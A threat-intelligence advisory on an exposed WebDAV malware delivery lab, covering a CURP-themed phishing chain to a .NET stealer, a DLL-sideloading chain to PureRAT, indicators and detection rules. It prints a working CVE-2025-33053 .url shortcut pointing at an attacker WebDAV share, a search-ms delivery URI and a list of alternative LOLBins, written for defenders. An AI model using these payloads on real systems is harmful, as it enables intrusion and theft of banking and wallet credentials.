From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab

1. Executive summary

Rapid7's MDR team discovered an exposed, misconfigured server functioning as a comprehensive malware delivery and QA lab, containing over 1,000 artifacts used to test WebDAV-based execution paths, social engineering lures, and LOLBin abuse. The operator actively tested exploits for three CISA KEV-listed vulnerabilities — CVE-2025-33053 (CVSS 8.8 HIGH, EPSS 82%), CVE-2026-21513 (CVSS 8.8 HIGH, EPSS 15%), and CVE-2025-24054 (CVSS 6.5 MEDIUM, EPSS 59%) — and deployed a .NET information stealer and a modular .NET RAT (PureRAT) targeting financial credentials, cryptocurrency wallets, and banking sessions. The actor's workflow was heavily LLM-assisted, accelerating lure generation and operational documentation. EMEA financial services are exposed where staff interact with Mexican government portals or receive themed invoice/contract lures; the stealer's keylogger explicitly targets payment, banking, and cryptocurrency keywords relevant to fintech and treasury operations.

2. Regulatory framing

3. Technical analysis & attack chain

Attack chain — Case Study 1: CURP phishing → .NET information stealer

1. Initial access: Victim navigates to hxxps://gobf[.]mx, a typosquat impersonating the Mexican government's CURP national-ID lookup service (hxxps://www.gob.mx/curp/). The phishing site is a single-page application with client-side JavaScript (containing Russian comments, likely LLM-generated) that handles a fake ID lookup flow.
2. Delivery via search-ms: When the victim clicks the download button, instead of a PDF, the JavaScript invokes a search-ms: URI that opens the operator's remote WebDAV share as a Windows Explorer search view filtered to .scr files: search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP &query=*.scr &crumb=location:\\onedrive.cv@80\Downloads\CURP
3. Execution via RTLO masquerade: The victim launches ReportFinal.rcs.pdf, which is actually an RTLO-spoofed .scr executable built with a Delphi/Inno Setup installer.
4. Loader execution: The installer extracts and launches Fo-Binary.exe from %TEMP%\is-XXXXX.tmp\, initiating a multi-stage infection chain.
5. Reflective loading: The loader maps the payload directly into memory using Assembly.Load(byte[]), executing filelessly.
6. Process hollowing: The malicious code is injected into a legitimate, EV-signed Qihoo 360 process via process hollowing, running under a trusted signed process image.
7. Anti-analysis: The payload checks for the COR_PROFILER environment variable and calls IsDebuggerPresent. If monitoring is detected, it calls FailFast to kill the process. The watchlist and collection configuration are not decrypted until after a successful C2 handshake.
8. Collection: The stealer targets ~20 desktop wallet clients, browser wallet extensions, saved browser usernames/passwords/cookies/session tokens, Telegram tdata session database, Foxmail data, and captures a desktop screenshot.
9. Exfiltration: Data is sent to 77[.]110[.]127[.]205 (alias google.services[.]ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket, as multipart HTTP POST to /c2. Ports observed: 56001–56003, 57666, 57777, 57888. Payload version 4.4.3, build tag 06x12x2026SantaEbash2.
10. Persistence: Scheduled tasks named brokerhost and net_queue_32. Staging paths: %AppData%\Roaming\inttracer_i686_prod\ and C:\ProgramData\inttracer_i686_prod\.

Attack chain — Case Study 2: DlrtyGames → modular .NET RAT (PureRAT)

1. Initial dropper: DlrtyGames.exe, a silent 7-Zip SFX dropper, extracts a benign signed Ubisoft binary Volt_Droid.exe and a trojanized dependency discord-rpc.x64.dll into the victim's temporary directory.
2. DLL sideloading: Volt_Droid.exe loads discord-rpc.x64.dll, which decodes its configuration, resolves APIs by hash, and manually maps profiler16.dll.
3. Steganographic payload extraction: profiler16.dll reads loader-pool.db, a PNG file with encrypted modules stored across IDAT chunks. After a 45-second sleep delay, it reassembles and decrypts the embedded content.
4. Persistence and elevation: Sets up persistence via HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW, performs COM auto-elevation through dllhost.exe. Additional persistence markers: \com_app_bg_i686, \messenger_component_v8_32_rc. Staging paths: C:\ProgramData\basenet\, %APPDATA%\basenet\.
5. Process hollowing (final stage): An x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a creates signed host processes (MegArray.exe or Crisp.exe) in a suspended state, unmaps the original image, writes the payload, updates thread context, and resumes execution.
6. RAT capabilities: Modular .NET RAT (identified as PureRAT) with plugins for keylogging, screenshots, window monitoring, and C2. Keylogger uses plaintext keyword triggers for financial activity: relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, invest. Also targets browser wallet-extension artifacts and Chrome user data (cookies, saved logins).
7. C2: 23[.]94[.]252[.]228:57666. JA3 fingerprint: fc54e0d16d9764783542f0146a98b300.

CVE testing in the exposed directory

The operator's QA lab tested three CVEs, all currently listed in CISA KEV:

CVE-2025-33053 — primary focus (detailed mechanism): The operator's most developed test set reproduced the working-directory abuse technique from Check Point's analysis of Stealth Falcon (MITRE G0038 — confirmed MITRE profile). The technique abuses .url shortcut files to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. The primary LOLBin was iediagcmd.exe (C:\Program Files\Internet Explorer\iediagcmd.exe), which spawns child processes (route.exe, ipconfig.exe, netsh.exe, ping.exe) by bare name. Process.Start() searches the working directory first, so if the working directory points to a WebDAV share, Windows resolves the child process from the remote share. The operator placed a renamed payload (putty.exe → route.exe) on the WebDAV server. The .url file format used:

[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Requirements for the exploit: iediagcmd.exe must exist (present on Win10 1607–22H2 and Win11 21H2/22H2/23H2; absent on Win11 24H2 where IE is removed). The June 2025 Microsoft patch (KB5060*) must not be installed. The operator verified patch status with Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}.

Expanded LOLBin test kit: The operator built 59 .url files targeting alternative binaries for hosts where iediagcmd.exe is absent, including: CustomShellHost.exe (spawns explorer.exe), OfficeC2RClient.exe, InstallUtil, RegAsm, RegSvcs, CasPol, ngentask (calls ngen.exe), AddInUtil (calls AddInProcess.exe), dfsvc (ClickOnce), csc (C# compiler, may call link.exe), vbc (VB compiler), LbfoAdmin, UevAgentPolicyGenerator (calls .ps1 files), UevAppMonitor, AppVStreamingUX, Pcwrun, WorkFolders, stordiag, Provlaunch (calls provtool.exe), fodhelper, computerdefaults, wsreset.

Attribution caveat: The CVE-2025-33053 technique is associated with Stealth Falcon (MITRE G0038 — confirmed). However, the operator in this incident appears to be reproducing/adapting the technique from published Check Point research using LLM-generated READMEs. The actor's identity is unconfirmed; the use of Russian diminutives ("testik", "testik2") and Russian-language README content suggests a Russian-speaking operator, but this is not sufficient for attribution to Stealth Falcon or any other named group. Single-sourced attribution; verify before enforcement.

Delivery infrastructure and campaign telemetry

The exposed server hosted a "Simba Service" WebDAV delivery/admin panel (documentation appeared LLM-generated) that tracked file opens, visitor IPs, geolocation, Windows versions, traffic, and folder-level conversion. Over a ~5.5-day window (June 20–26, 2026 UTC), the service recorded 77,098 requests from 3,892 unique client IPs across 101 countries (~45.9 GB transferred). Traffic peaked June 21–24 and dropped sharply after.

Mexico dominated: 63,622 requests (82.5%), 2,365 launch events (96.9% of all launches). The CURP-themed ReportFinal.rcs.pdf lure accounted for 2,384 of 2,441 observed executable launch events (97.7%), ~14.6 GB of traffic, and 1,869 unique client IPs. Traffic peaked 16:00–19:00 UTC, consistent with Mexican working hours.

HTTP methods: PROPFIND (57,287), GET (13,088), OPTIONS (6,597), PROPPATCH (125), LOCK (1). Status codes: 207 (57,412), 200 (19,532), 206 (154).

The panel detected scanners/bots via behavioral indicators (requests for non-existent resources, HTTP 404s, WebDAV probes, directory enumeration) and assigned risk scores. Blocking configuration was modified at least 3 times (June 5, 10, 20).

LLM-assisted workflow

Multiple artifacts indicate LLM-assisted development: structured README files with emoji-heavy formatting, matrix-style test outputs, lure-generation guides, the Simba Service panel documentation, and JavaScript with Russian comments containing emojis typical of LLM output. A build artifact in generate_test_lnk.ps1 exposed a hardcoded output directory revealing the attacker's local project tree. The campaign was likely built using the "CodeRRR" project with LLM assistance for code generation and campaign development.

4. Mitigation & containment

P1 — Within 24 hours

• Block C2 infrastructure at perimeter: 77[.]110[.]127[.]205 (all ports, especially 56001–56003, 57666, 57777, 57888) and 23[.]94[.]252[.]228 (port 57666). Block domain google.services[.]ug and hxxps://gobf[.]mx. Block WebDAV host onedrive[.]cv.
• Hunt for scheduled tasks: Query all endpoints for tasks named brokerhost and net_queue_32. Remove if found.
• Hunt for staging directories: Check for existence of %AppData%\Roaming\inttracer_i686_prod\, C:\ProgramData\inttracer_i686_prod\, C:\ProgramData\basenet\, %APPDATA%\basenet\. Quarantine any endpoints with these paths.
• Hunt for persistence: Query registry for HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW and the values \com_app_bg_i686 and \messenger_component_v8_32_rc.
• Block search-ms and library-ms URI schemes: Apply Group Policy to disable search-ms: and .library-ms handling where business-justified. This disrupts the primary delivery vector for the CURP campaign.
• Patch verification: Confirm all endpoints have the June 2025 Microsoft patch (KB5060* series) addressing CVE-2025-33053. Run Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"} across the estate. CVE-2025-33053 is in CISA KEV with EPSS 82% — treat as critical.
• Patch CVE-2026-21513 and CVE-2025-24054: Both are in CISA KEV. Apply vendor patches for the MSHTML Framework bypass and NTLM spoofing issue. CVE-2025-24054 exploitation commonly involves .library-ms files — block these at email gateway and web proxy.

P2 — Within 72 hours

• EDR rules — WebClient service: Alert on WebClient service starting followed by davclnt.dll network activity, especially when triggered by rundll32.exe or user-initiated file execution. This is the initial telemetry pattern that detected this campaign.
• EDR rules — LOLBin execution from WebDAV: Alert on iediagcmd.exe, CustomShellHost.exe, OfficeC2RClient.exe, InstallUtil, RegAsm, RegSvcs, ngentask, AddInUtil, dfsvc, csc, vbc, Pcwrun, WorkFolders, stordiag, Provlaunch, fodhelper, computerdefaults, wsreset executing with a working directory containing DavWWWRoot, @ssl@443, or @80 — indicators of WebDAV-based working-directory hijacking.
• EDR rules — process hollowing: Alert on creation of MegArray.exe, Crisp.exe, or any signed process in a suspended state followed by image unmapping and thread context modification.
• EDR rules — DLL sideloading: Alert on Volt_Droid.exe loading discord-rpc.x64.dll and on profiler16.dll being manually mapped. Monitor for loader-pool.db file access.
• Network detection — TLS without SNI: Alert on outbound TLS connections to 77[.]110[.]127[.]205 and 23[.]94[.]252[.]228 matching JA3 fc54e0d16d9764783542f0146a98b300.
• Block RTLO characters in filenames: Configure email gateways and file transfer controls to strip or quarantine files containing U+202E (RTLO) characters in filenames.
• Hunt for named payloads: Search endpoint filesystems and EDR telemetry for Fo-Binary.exe, DlrtyGames.exe, Volt_Droid.exe, discord-rpc.x64.dll, profiler16.dll, loader-pool.db, ReportFinal.rcs.pdf, ReportFina.exe, pdfgear_setup_v2.1.16.exe, CursorSetup.

P3 — Within 7 days

• Disable WebClient service where not required: The WebClient service (required for WebDAV) auto-starts when accessing WebDAV locations. Disable on workstations where WebDAV access is not a business requirement.
• Restrict NTLM authentication: Apply Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers policy to prevent NTLM hash leakage via CVE-2025-24054.
• Application allowlisting: Ensure DLL loading policies enforce signature validation for side-loaded dependencies, particularly for signed vendor binaries that load DLLs from the same directory.
• User awareness: Brief staff on ClickFix-style social engineering (fake Cloudflare verification, Adobe/Word errors, Chrome update prompts, Discord notices) and the CURP phishing site pattern. Emphasize that search-ms: URIs in browser context are abnormal.
• Threat hunt — COR_PROFILER abuse: Search for processes with COR_PROFILER environment variable set, as the stealer checks for this as an anti-analysis signal but it is also a known persistence/execution technique.

5. Indicators of compromise

domain  gobf[.]mx
domain  onedrive[.]cv
domain  google.services[.]ug
ipv4  77[.]110[.]127[.]205
ipv4  23[.]94[.]252[.]228
url  hxxps://gobf[.]mx
ja3  fc54e0d16d9764783542f0146a98b300
sha256  04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7
sha256  e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268
sha256  449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df
sha256  a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9
sha256  51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b
sha256  82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923
filepath  %TEMP%\is-XXXXX.tmp\Fo-Binary.exe
filepath  %AppData%\Roaming\inttracer_i686_prod\
filepath  C:\ProgramData\inttracer_i686_prod\
filepath  C:\ProgramData\basenet\
filepath  %APPDATA%\basenet\
regkey  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW
scheduledtask  brokerhost
scheduledtask  net_queue_32
cert_cn  Eglgyqnoa
campaign_tag  06x12x2026SantaEbash2

6. Detection

rule AT_WebDAV_Delivery_Stealer_Payload {
  meta:
    author = "Adverse Trace"
    date = "2026-07-20"
    reference = "https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis"
    description = "Detects .NET information stealer delivered via WebDAV CURP campaign — based on in-memory config strings and build tags"
  strings:
    $build_tag = "06x12x2026SantaEbash2" ascii
    $version = "4.4.3" ascii
    $c2_path = "/c2" ascii
    $api_load = "Assembly.Load" ascii
    $anti_dbg = "IsDebuggerPresent" ascii
    $failfast = "FailFast" ascii
    $cor_profiler = "COR_PROFILER" ascii
    $tdata = "tdata" ascii
    $foxmail = "Foxmail" ascii
  condition:
    3 of them
}

rule AT_DlrtyGames_RAT_Loader {
  meta:
    author = "Adverse Trace"
    date = "2026-07-20"
    reference = "https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis"
    description = "Detects DlrtyGames DLL sideloading chain artifacts — discord-rpc.x64.dll and profiler16.dll stages"
  strings:
    $dll_name = "discord-rpc.x64.dll" ascii
    $profiler = "profiler16.dll" ascii
    $pool_db = "loader-pool.db" ascii
    $host1 = "MegArray.exe" ascii
    $host2 = "Crisp.exe" ascii
    $ubisoft = "Volt_Droid.exe" ascii
  condition:
    2 of them
}

rule AT_PureRAT_Keylogger_Keywords {
  meta:
    author = "Adverse Trace"
    date = "2026-07-20"
    reference = "https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis"
    description = "Detects PureRAT keylogger module by financial keyword triggers embedded in payload"
  strings:
    $kw1 = "relaypayments.com" ascii
    $kw2 = "fiservapps" ascii
    $kw3 = "amazonrelay" ascii
    $kw4 = "Seed Phrase" ascii
    $kw5 = "Available Balance" ascii
    $kw6 = "Account Overview" ascii
    $kw7 = "Credit Union" ascii
    $kw8 = "settlement" ascii
    $kw9 = "payoneer" ascii
    $kw10 = "coinbase" ascii
    $kw11 = "Electrum" ascii
    $kw12 = "monero" ascii
  condition:
    4 of them
}

title: WebDAV Working Directory Hijack via iediagcmd.exe
id: 7a3c1f2e-4b5d-4a6e-9c8f-1a2b3c4d5e6f
status: experimental
description: Detects iediagcmd.exe executing with a WebDAV working directory, indicating CVE-2025-33053 exploitation
author: Adverse Trace
date: 2026/07/20
references:

  - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis
logsource:
  product: windows
  category: process_creation
detection:
  selection_process:
    Image|endswith: '\iediagcmd.exe'
  selection_workdir:
    CommandLine|contains:

      - 'DavWWWRoot'
      - '@ssl@443'
      - '@80'
      - '\\\\'
  condition: selection_process and selection_workdir
falsepositives:

  - Legitimate IE diagnostics with UNC paths (unlikely in modern environments)
level: high

---
title: Suspicious Scheduled Task Creation - brokerhost or net_queue_32
id: 8b4d2g3f-5c6e-4b7f-8d9f-2b3c4d5e6f7a
status: experimental
description: Detects creation of scheduled tasks used for persistence by WebDAV-delivered stealer
author: Adverse Trace
date: 2026/07/20
references:

  - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis
logsource:
  product: windows
  category: process_creation
detection:
  selection_schtasks:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains:

      - 'brokerhost'
      - 'net_queue_32'
  condition: selection_schtasks
falsepositives:

  - Unknown
level: high

---
title: DLL Sideloading via Volt_Droid.exe
id: 9c5e3h4g-6d7f-4c8f-9e0f-3c4d5e6f7a8b
status: experimental
description: Detects signed Ubisoft binary Volt_Droid.exe loading discord-rpc.x64.dll, indicating DlrtyGames RAT delivery chain
author: Adverse Trace
date: 2026/07/20
references:

  - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis
logsource:
  product: windows
  category: image_load
detection:
  selection_process:
    Image|endswith: '\Volt_Droid.exe'
  selection_dll:
    ImageLoaded|endswith: '\discord-rpc.x64.dll'
  condition: selection_process and selection_dll
falsepositives:

  - Legitimate Ubisoft software loading a genuine discord-rpc DLL (verify signature and path)
level: high

---
title: Registry Persistence via XNNNMHJAZNCNHGIKJDW Run Key
id: ad6f4i5h-7e8f-4d9f-af1f-4d5e6f7a8b9c
status: experimental
description: Detects persistence mechanism used by DlrtyGames .NET RAT chain
author: Adverse Trace
date: 2026/07/20
references:

  - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis
logsource:
  product: windows
  category: registry_event
detection:
  selection:
    TargetObject|contains: 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW'
  condition: selection
falsepositives:

  - Unknown
level: critical

CVE assessment

3 referenced CVEs — 3 actively exploited (CISA KEV)

Threat actor context

Stealth Falcon · G0038

Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.

7. Sources

• Rapid7, "From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab Analysis," hxxps://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis, 2026-07-20

8. Adverse Trace position

This is a HIGH-severity advisory. The campaign demonstrates a mature, LLM-accelerated delivery pipeline targeting enterprise Windows users with financial-themed lures, deploying both an information stealer and a modular RAT with explicit financial-sector keyword targeting. All three CVEs in the operator's toolkit are CISA KEV-listed with active exploitation. EMEA financial services with operations, customers, or supply-chain links to Mexico are at elevated risk given the campaign's geographic concentration. The stealer's focus on cryptocurrency wallets, banking credentials, and payment-platform sessions is directly relevant to fintech, treasury, and custody operations. Attribution to Stealth Falcon is unconfirmed — the operator appears to be replicating published research rather than operating as part of that group. All IOCs and technical detail in this advisory are single-sourced (Rapid7); verify before enforcement. We will update this advisory if additional sources corroborate the IOC set or if attribution is refined.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.